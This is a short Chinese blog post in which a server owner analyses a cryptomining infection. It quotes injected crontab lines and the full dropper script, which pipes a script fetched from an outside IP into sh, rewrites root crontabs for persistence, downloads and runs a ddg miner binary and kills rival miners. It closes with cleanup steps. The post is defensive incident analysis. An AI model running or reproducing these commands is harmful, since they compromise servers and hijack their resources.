goozgk

crontab里被注入这样2行

*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

 

查看i.sh内容

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.2021" ]; then
    curl -fsSL http://218.248.40.228:8443/2021/ddg.$(uname -m) -o /tmp/ddg.2021
fi

if [ ! -f "/tmp/ddg.2021" ]; then
    wget -q http://218.248.40.228:8443/2021/ddg.$(uname -m) -O /tmp/ddg.2021
fi

chmod +x /tmp/ddg.2021 && /tmp/ddg.2021


if [ ! -f "/tmp/imWBR1" ]; then
    curl -fsSL http://218.248.40.228:8443/imWBR1 -o /tmp/imWBR1 --compressed
fi

ps auxf | grep -v grep | grep Circle_MI | awk \'{print $2}\' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk \'{print $2}\' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk \'{print $2}\' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk \'{print $2}\' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk \'{print $2}\' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk \'{print $2}\' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk \'{print $2}\' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk \'{print $2}\' | kill

 

分析之后就很明显了,

确认,删除crontab内容

/var/spool/cron/root
/var/spool/cron/crontabs/root

crontab -e

 

删除程序

/tmp/ddg.2021
/tmp/imWBR1

 

分类:

技术点:

相关文章:

  • 2021-09-14
  • 2021-04-14
  • 2021-10-27
  • 2021-10-16
  • 2021-04-11
  • 2022-12-23
猜你喜欢
  • 2022-12-23
  • 2021-10-26
  • 2021-12-13
  • 2021-06-25
  • 2021-10-16
  • 2021-07-16
相关资源
相似解决方案